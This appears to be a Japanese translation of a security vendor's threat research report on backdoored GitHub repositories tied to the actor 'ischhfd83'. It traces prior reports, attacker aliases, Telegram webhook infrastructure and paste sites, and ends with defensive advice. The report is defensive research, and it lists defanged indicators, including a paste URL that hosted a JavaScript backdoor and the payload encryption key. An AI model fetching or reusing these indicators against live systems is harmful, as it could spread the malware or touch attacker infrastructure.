2023 年 10 月: Checkmarx が、バックドアが仕掛けられた Python パッケージの大規模なコレクションに関する調査を発表しました。この活動により、悪意のある Electron アプリケーションのインストールと個人情報の窃取が発生しました。

2023 年 11 月: Checkmarx が、リポジトリのお気に入り登録数の闇マーケットを介した人工的な水増しについて報告しました。

2024 年 4 月: Checkmarx が、バックドア付きリポジトリ (PreBuild バックドアを使用) の人気を高めるために、自動コミットと偽のお気に入り登録を利用したキャンペーンについて報告しました。この活動は ischhfd83 に関連している可能性が高いです。Checkmarx は、最終的なペイロードが Keyzetsu クリップボードハイジャッカーマルウェアに類似していると指摘しています。

2024 年 4 月: 「ミートボール入り鍋」(翻訳、元の名称は「火锅与肉丸」) という名前の研究者が、バックドアされた GitHub リポジトリに関するブログを公開しました。バックドアはソリューションファイルを装った悪意のある .scr ファイルで、最終的なペイロードは AsyncRAT でした。興味深いことに、TTP の一部は異なっていたものの、研究者は ischhfd83 の電子メールアドレス、Electron アプリ、および今回のキャンペーンで使用されているものと同一の 7zip アーカイブパスワードの存在を指摘しています。

2024 年 7 月: Check Point が、「Stargazers Ghost Network」と呼ぶものについて報告しました。これは、Check Point が Stargazer Goblin と名付けた攻撃者によって運営されている、ゲームチートやマルウェアをテーマにしたリポジトリを介してマルウェア配布のためだけに使用される大規模な GitHub アカウントの組織です。感染の最終目的は、Lumma Stealer を含むさまざまな情報窃取ツールのインストールでした。Check Point は、このネットワークが犯罪フォーラムで販売されている サービスとしての配信 (DaaS) であるとしており、「配信網は他のプラットフォームを含む、より大規模なものである可能性があると指摘しています。また、今回のキャンペーンで確認されたように、悪意のあるアカウントには明確な役割があることも明らかにしています。

2024 年 9 月: 研究者 g0njxa が、マルウェアのホスティングに Guilded CDN を使用した、PreBuild バックドアを用いたキャンペーンに関する Twitter スレッドを投稿しました。このキャンペーンでは、今回報告したのと同じ Telegram ボットや、Pastebin ユーザー Ali888Z (「ischhfd83 とは?」セクションを参照)、および一部の同じペーストサイトのリンクが確認されています。g0njxa は、2024 年 4 月に Checkmarx が報告したキャンペーンと類似していると指摘しています。

2024 年 11 月: 研究者 Deividas Lis が、Discord で配布されているリポジトリ内の Python バックドアに関する投稿を公開。このバックドアも空白文字のトリックを使用しており、Lis も前述のものと同じロシア語のコメントを発見しています。

2025 年 1 月: CloudSek が、GitHub リポジトリを介して配信された「トロイの木馬化された」 XWorm RAT ビルダに関する報告を行いました。C2 メカニズムとしては Telegram が使用されていました。

2025 年 1 月: Trend Micro が、(いくつか大きな違いはあるものの) Stargazers Ghost Network と重複すると思われるキャンペーンに関する調査を発表しました。このキャンペーンでは GitHub のリリースのインフラが使用され、Lumma Stealer への感染を引き起こしていました。

2025 年 2 月: Kasperky が、「GitVenom」と名付けた、200 件のバックドアが仕掛けられた GitHub リポジトリに関係するキャンペーンについて報告しました。このキャンペーンには自動コミット、複数のバックドア亜種、AsyncRAT、Quasar、クリップボードハイジャッカーなどの最終的なペイロードが含まれていました。今回のキャンペーンと同じものか、密接に関連した亜種だと考えています。

2025 年 3 月: 4SecNet が今回のキャンペーンに関する調査を発表し、38 件のバックドア付きリポジトリを発見しました。

2025 年 4 月: Twitter の研究者たちが Sakura RAT のバックドアを特定しました。

2025 年 4 月: Huorong Threat Intelligence Center が、今回のキャンペーンまたは密接に関連した亜種について報告しました (本報告とは、SearchFilter.7z をホストするために使用された GitHub リポジトリが異なります)。

ischhfd83 とは?

新しい攻撃者か、それとも以前と同一の攻撃者か?

このトピックに関する過去の研究を見ると、いくつかのキャンペーンが重複しており、戦術やアプローチに変化が見られます。

今回のキャンペーンの攻撃者は、時間とともに進化してきた Stargazer Goblin DaaS オペレーションの新しい顧客である可能性があります。また、攻撃者自身が、独自の調整やカスタマイズを加えたのかもしれません。あるいは、競合する DaaS オペレーションであるか、実績があり効果的な配信方法を活用する単独の攻撃者である可能性もあります。

Check Point の Stargazer Goblin に関する報道では、サイバー犯罪フォーラムで GitHub を利用してマルウェアの有償配布を行う攻撃者を確認したとのことでした。Check Point の研究が発表されてから約 1 年が経ちますが、Sophos X-Ops が確認したところ、当該の攻撃者は現在もこのサービスを積極的に宣伝しています。図 49 の投稿は 2025 年 2 月のものです。

A screenshot of a post on a cybercrime forum

図 49: この活動が 3 年間続いていることを示唆するロシア語のサイバー犯罪フォーラムへの投稿。このユーザーはロシア語と英語の両方で投稿しています。

「Unknown」と「Muck」

収集したすべてのリポジトリを調査した結果、ソースコードファイル内や、解説動画などの関連資料の中に、いくつかの名前やエイリアスを確認しました。Sophos X-Ops は、これらの識別子の少なくとも 1 つが攻撃者と関連していると考えています。

しかし、現時点では、この攻撃者とバックドアキャンペーンとの関連を示す証拠は見つかっていません。バックドアキャンペーンの攻撃者は、単に (おそらく他の攻撃者も含む) 他のソースからコードを取得し、バックドアを追加した上で、自身が管理するリポジトリにアップロードした可能性があります。

Sophos X-Ops が発見し、異なるコンテキストで何度か遭遇した別の識別子は、攻撃者の名前、またはエイリアスだと考えています。しかし、この点についてはまだ調査中であり、現時点では公表しません。

Sophos X-Ops が発見した他の識別子の中では、「Unknown」という名前が特に関連性が高いと考えています。悪意のある Python スクリプトの 1 つに、この名前に関連するロシア語のコメント (「製作者: 不明 (unknown)」) が確認されただけでなく、多くのペイロードに登場する暗号化キーも「vibe.process-byunknown」です。unknown は、Telegram ボットのユーザー名の一部としても現れ (図 53 参照)、pastejustit[.]com (pastesio[.]com にリダイレクトされる) のペーストも unkownx というユーザーによって作成されています。

Unknown が実際のエイリアスなのか (おそらく研究者を困らせるために使用されているのかもしれません。「unknown」と「threat actor」で検索してみてください) なのか、意図的にエイリアスを使っていないのかは不明です。

Muck という名前も重要かもしれません。これらのキャンペーンで頻繁に登場しています。たとえば、2023年のキャンペーンで使用された Discord チャンネルの 1 つは Muck と名付けられており (図 59 参照)、その名前が書かれたプロフィール画像も使われていました。Muck はさらに、一部のステージング URL にも登場します (2025 年 4 月に確認された最近の関連キャンペーンや、2024 年 4 月のこちらこちらなど)。

さらに、unkownx が pastesio[.]com に公開している他のペーストを確認したところ、muckdeveloper[.]com というサイトへのリンクを含むものがありました (前述の rlim リンクの 2 つで確認された predFMossseraswodinsz という文字列を含む他の 2 つのペーストも同様です)。

A screenshot of a paste

図 50: muckdeveloper[.]com へのリンクを含む unkownx のペーストの 1 つ

A screenshot of a website. A small 'Space Invader'-style icon is in the centre in white; the background is black

図 51: muckdeveloper ページ

Web フック、John Due、インフルエンサー

Sophos X-Ops は以前、SearchFilter マルウェアが Telegram を介して攻撃者に新たな感染を通知しているようだと指摘しました。便利なことに、攻撃者はマルウェアに Telegram トークンをハードコードしているため、Telegram の Bot API を使用して攻撃者のインフラに関する詳細な情報を取得できます。(「先行研究」セクションで述べたように、2024 年9 月のキャンペーンでも同一のトークンと ID が確認されています。)

通常、この情報は getUpdates API エンドポイントにリクエストを送信することで取得できます。しかしこの事例では攻撃者が Web フックを使用しています。API ドキュメントによると、これら 2 つの方法は相互に排他的です。

しかし、代わりに getWebhookinfo にリクエストを送信することで、有用な情報を取得できます。

A screenshot of a JSON response

図 52: 攻撃者が通知を受け取るために使用する Web フック

A screenshot of a JSON response

図 53: 攻撃者への新規感染通知に使用されるボットに関するさらなる情報の取得。unknown という単語が再度出現している点に注目してください。

Web フックに使用されている arturshi[.]ru ドメインは、2024 年 12 月 5 日に作成されました。Sophos X-Ops が調査した時点では、このドメインは金融取引 Web サイトを自称する octofin[.]co への自動リダイレクトを含んでいました。このドメインは 2025 年 3 月 18 日に作成されています。両サイトの外観や雰囲気は著しく異なりますが、その名前は合法的な金融サイトのものを模倣しているように見えるため、このサイトはユーザーを欺くことを意図したものだと考えています。Sophos X-Ops は、この Web サイトを運営する企業にこのことを通知し、認識を促しました。

octofin[.]co の WHOIS 情報には、国として「spain」、登録者組織として「John Due」と記載されていました。おそらくは「John Doe」の語記または誤訳だと考えられます。

A screenshot of a website. A green circular logo in the top-left, a dark green background, a cryptocurrency 'ticker' banner across the top. Login and Register buttons in the top-right

図 54: arturshi[.]ru ドメインから octofin[.]co へのリダイレクト

Sophos X-Ops は Wayback Machine を使用して、リダイレクトが実施される以前、2024 年 12 月時点での arturshi[.]ru のスナップショットを調べました。その結果、ソーシャルメディアインフルエンサーのものだと主張する、ニューラルネットワークに関する有料コースを提供するシンプルな Web サイトを発見しました。

arturshi[.]ru 側には、このインフルエンサーのソーシャルメディアページや動画へのリンクが記載されていましたが、その逆は見つかりませんでした。つまり、インフルエンサーの既知の Web サイトには、このドメインに関する言及は見つかりませんでした。しかし、このインフルエンサーが自身の Web サイトで宣伝する、ニューラルネットワークに関する有料のトレーニングコースを提供している (または提供していた) ことは確認しました。

インフルエンサーの Web サイトは 2023 年 10 月 13 日に作成されていますが、2015 年から YouTube に動画を投稿しており、比較的多くのチャンネル登録者がいることも確認しました。ドメインが作成された日以降、インフルエンサーが投稿した YouTube 動画の説明文には、arturshi[.]ru に関する言及は見当たりませんでした。

Arturshi[.]ru に記載されている電話番号と電子メールアドレスはどちらも偽物のようです。電話番号は +799999999、メールアドレスは asdasd[at]gmail[.]com となっていました。テキストやアイコンの一部など、arturshi[.]ru サイトのいくつかの要素は、インフルエンサーの既知の Web サイトのものと同一に見えます。

A screenshot of a website. A list of hyperlinks in Russian, with green telephone and email icons below, followed by some plain text in Russian

図 55: リダイレクトが実装される前の arturshi[.]ru Web サイト

調査時点では、このドメインに関して他に興味深い点は確認できませんでした。

ペーストサイトからの情報

次に、感染チェーンの中間段階で攻撃者が使用するさまざまなペーストサイトを調査しました。Pastebin では、悪意のあるペーストが Ali888Z というユーザーによってアップロードされていることがわかりました。

A screenshot from Pastebin, showing a list of pastes

図 56: Ali888Z’s がアップロードしたペーストの一覧

これらのペーストは、2023 年 7 月 9 日から 2025 年 2 月 25 日にかけてアップロードされていました。古いものの多くは空でした。しかし、2023 年 9 月 3 日付けのペースト (hxxps://pastebin[.]com/JEt0TFpK) からは、さらに別のバックドアが発見されました。

A screenshot of obfuscated JavaScript code

図 57: Pastebin で発見されたバックドア付き JavaScript コードの一部

バックドアの難読化を解除したところ、攻撃者がかつて、通知/C2 に Discord の Web フックを使用していたことが判明しました。

A screenshot of JavaScript code

図 58: 難読化解除されたバックドアから 2 件の Base64 でエンコードされた URL を発見

A screenshot of a JSON response

図 59: デコードされた URL の 1 つ。「Muck」という名前に注目してください。

A screenshot of a JSON response

図 60: 2 件目のデコードされた URL。「Spidey Bot」と名付けられています。

これらのチャンネルやユーザーは、2023 年 9 月 2 日と 9 月 3 日に作成されています。後者はペーストが作成されたのと同じ日付でした。

このバックドアのスニペットを GitHub でコード検索したところ、funcaptcha/bananasquad キャンペーンに関連していることが示唆されました (「先行研究」を参照)。

さらに、glitch[.]me のリンクも調査しました。Glitch.me は開発者コミュニティであり、攻撃者のリンクにある popcorn-soft サブドメインはプロジェクトを指しています。Glitch でこのプロジェクトを検索すると、searchBRO @artproductgames というユーザーによって作成されたことが判明しました。

A screenshot of a website showing a profile. A generic 'person' icon at the top, beside the username

図 61: Glitch 上の searchBRO のプロフィール

ischhfd83 の奇妙な事例に関する私たちの調査は、ひとまずここまでです。しかし、Sophos X-Ops はこの話にはまだ続きがあるのではないかと考えており、今後も監視を続けます。

結論

今回の調査は、脅威が当初よりもはるかに複雑になり得ることを示す好例です。新しい RAT に関するお客様からの最初の問い合わせをきっかけに、Sophos X-Ops は複数の種類のバックドアを含む、かなりの量のバックドア付き GitHub リポジトリを発見しました。そして、バックドアは単純なものではありませんでした。調査で判明したように、バックドアは長く複雑な感染チェーンの最初の段階に過ぎず、最終的には複数の RAT や情報窃取ツールに関係していました。

皮肉なことに攻撃者は主にチートを使用するゲーマーや経験の浅いサイバー犯罪者を標的にしているようです。Sophos X-Ops は以前、サイバー犯罪者同士が互いを攻撃し合うというテーマについて報告しました。ある程度の愉快犯的な側面がある一方で、他の誰も危険にさらされないわけではありません。

たとえば、セキュリティ研究者が調査活動の一環として新しいマルウェアをダウンロードして実行するのは非常によくあることです。ほとんどの研究者は、隔離された分析環境でのみマルウェアを実行するなどの適切な予防策を講じていますが、Sophos X-Ops は同業者に対し、感染の兆候がないか二重に確認することを推奨します。

また、マルウェアは通常、誰に感染するかは気にしないため、興味本位でオープンソースのリポジトリ試している人々など、他のグループも感染している可能性があります。くり返しになりますが、被害に遭ったと思われる方は、IOC (侵害の痕跡、GitHub リポジトリで入手可能) に注意されることをお勧めします。

この種の攻撃の被害者にならないために、以下のことにお気を付けください。

  • ツールやコードのダウンロードと実行には注意が必要です。特に、マルウェアやゲームのチートに関する未検証のリポジトリには警戒してください。
  • 可能な限り、オープンソースのコードをダウンロードする前に、異常な点がないか確認してください。今回のキャンペーンで示されたように、難読化されたコード/文字列のブロック、空白文字を用いて目視での検査を回避しようとするコード、通常とは異なるドメインへの呼び出し、不審な動作/拡張機能などが危険信号となります。
  • オープンソースのリポジトリ名をオンラインで検索し、疑わしい活動の報告がないか確認してください。また、Intelix の解析ツールにファイルまたは関連 URL を送信したり、VirusTotal などのサイトでファイルのハッシュ値を検索したりすることもお勧めします。以前にこのリポジトリやファイルが疑わしいと報告した人物もいるかもしれません。
  • ソースの検証やコードの入念な検査を行っていない限り、オープンソースのリポジトリからコードをコンパイルすることは、インターネットからダウンロードした未検証の実行ファイルを実行することと何ら変わりがないことを認識してください。
  • 可能な限り、テストされていないコードは、サンドボックス、コンテナ、仮想マシンなどの隔離された環境でまず実行し、適正に機能するかどうかを確認してください。隔離された環境で、不審な兆候がないか確認してください。たとえば、外部への接続試行、ユーザーフォルダに現れる不審なファイル、レジストリやスケジュールタスクライブラリへの予期せぬ変更、セキュリティ製品の無効化、メモリ使用量の突然の増加などがその一例です。

全体を通して述べているように、この攻撃手法について報告したのは Sophos X-Ops が初めてではありませんが、私たちの研究がこのトピックに関する知識体系に貢献することを願っています。

今回のキャンペーンが以前に報告された一部またはすべてのキャンペーンと直接関連しているかどうかは依然として不明ですが、このアプローチは人気かつ効果的であり、今後も何らかの形で続く可能性が高いです。将来的には、攻撃者が目先を変え、経験の浅いサイバー犯罪者やチートを使用するゲーマー以外のグループも脅威にさらされる可能性があります。

ソフォスは、この事例に関連して以下の保護を提供しています。

  • Troj/Boxtor-A
  • Troj/Boxtor-B
  • Troj/Boxtor-C
  • Troj-Boxtor-D
  • Troj-Boxtor-E
  • Troj/AsyncRat-Q
  • Troj/AsyncRat-R

謝辞

Sophos X-Ops は本記事への貢献に対し、SophosLabs の Simon Porter、Gabor Szappanos、および Richard Cohen に謝意を表します。また、Sophos X-Ops からの通知に対応し、悪意のあるコンテンツを削除してくれたプラットフォームの所有者/運営者に感謝します。